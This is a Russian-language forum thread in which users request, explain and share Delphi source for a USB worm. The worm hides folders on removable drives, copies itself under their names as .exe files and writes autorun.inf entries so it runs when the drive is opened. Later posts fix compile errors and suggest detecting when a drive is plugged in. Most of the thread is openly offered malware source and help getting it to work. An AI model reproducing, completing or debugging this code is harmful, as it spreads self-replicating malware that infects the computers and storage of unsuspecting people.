|
USB WORM
|
|
cool1
|
Дата: Среда, 15.09.2010, 12:25 | Сообщение # 1
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
Привет,
пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки
типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе
За помощь ставьте +!
Сообщение отредактировал cool1 - Среда, 15.09.2010, 12:26
|
| |
|
|
|
|
|
dolphin
|
Дата: Среда, 15.09.2010, 14:20 | Сообщение # 2
|
Администратор
Сообщений: 904
Статус: Offline
|
Всё просто файл Autorun.inf тут совсем не причём, просто сканируешь папки, меняешь атрибуты и копируешься под их именем + скрываешь расширение ехе
Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle
Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
|
| |
|
|
|
|
|
cool1
|
Дата: Среда, 15.09.2010, 15:09 | Сообщение # 3
|
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
а исхдничеГ можно
 
За помощь ставьте +!
|
| |
|
|
|
|
|
dolphin
|
Дата: Среда, 15.09.2010, 20:58 | Сообщение # 4
|
|
Администратор
Сообщений: 904
Статус: Offline
|
Ну смотри я тут написал 2 процедуры
Доступно только для пользователей
Эта процедура ищет съемные носители
а эта
Доступно только для пользователей
Инфецирует папки на них, то есть замещает собой и скрывает
Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle
Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
Сообщение отредактировал dolphin - Пятница, 17.09.2010, 12:06
|
| |
|
|
|
|
|
cool1
|
Дата: Пятница, 17.09.2010, 06:06 | Сообщение # 5
|
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
спасиба!!! 
За помощь ставьте +!
|
| |
|
|
|
|
|
usfire
|
Дата: Суббота, 31.01.2015, 22:32 | Сообщение # 6
|
Новичок
Зарегистрирован: 31.01.2015
Группа: Пользователи
Сообщений: 2
Статус: Offline
|
Код
program Project2;
uses
SysUtils,windows;
var
F: TSearchRec;
i: Integer;
h: THandle;
L: TStringList;
procedure InfectDir(Root: String);
begin
L:=TStringList.Create;
L.Clear;
L.Add(Root);
i := 0;
while i < L.Count do begin
Root := IncludeTrailingBackslash(L.Strings[i]);
h := FindFirst(Root + '*.*', faAnyFile, F);
while h = 0 do begin
if (F.Attr and faDirectory) = faDirectory then begin
if (F.Name <> '.') and (F.Name <> '..') then begin
L.Add(Root + F.Name);
SetFileAttributes(PChar(Root+F.Name),faHidden);
CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);
SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);
end;
end;
h :=FindNext(F);
end;
FindClose(F);
Inc(i);
end;
L.Free;
end;
procedure InfectUsb;
var
DiskType,ifind : integer;
Drives : set of 0..25;
Drv : char;
begin
try
Integer(Drives):=GetLogicalDrives;
for ifind:=0 to 25 do
if (ifind in Drives) then
begin
Drv:=Char(ifind+Ord('A'));
DiskType:=GetDriveType(PChar(Drv+':\'));
if (DiskType = DRIVE_REMOVABLE) then
begin
InfectDir(PChar(Drv+':\'));
end;
end
except
exit;
end;
end;
begin
end
delphi 7
ошибка на tstring list
необходима рабочая версия
и как использовать процедуру
Код
unit uUSBSpread;
interface
uses
Windows, uInstall, pFunc, uConst;
function InfectUsbDrives(ExeName:string) :Integer;
implementation
function InfectUsbDrives(ExeName:string) :Integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if FileExists(Drive+':\'+ExeName) = False then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
sleep(10);
HideFile(Drive+':\'+ExeName);
sleep(10);
HideFile(Drive+':\autorun.inf');
Result := Result + 1;
end;
except
end;
end;
end;
end;
end.
uconst error
https://www.youtube.com/watch?x....QM#t=20
Сообщение отредактировал usfire - Суббота, 31.01.2015, 23:56
|
| |
|
|
|
|
|
ms301
|
Дата: Воскресенье, 15.02.2015, 20:16 | Сообщение # 7
|
Постоянный
Зарегистрирован: 28.11.2012
Группа: Пользователи
Сообщений: 101
Статус: Offline
|
Цитата usfire ( )
ошибка на tstring list
В uses добавь Classes;
Цитата usfire ( )
uconst error
рядом с проектом кинь uconst.pas
ps - элементарные ошибки...
|
| |
|
|
|
|
|
Android
|
Дата: Четверг, 29.12.2016, 14:40 | Сообщение # 8
|
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
|
неплохо бы еще определять момент подключения флешки |
| |
|
|
|
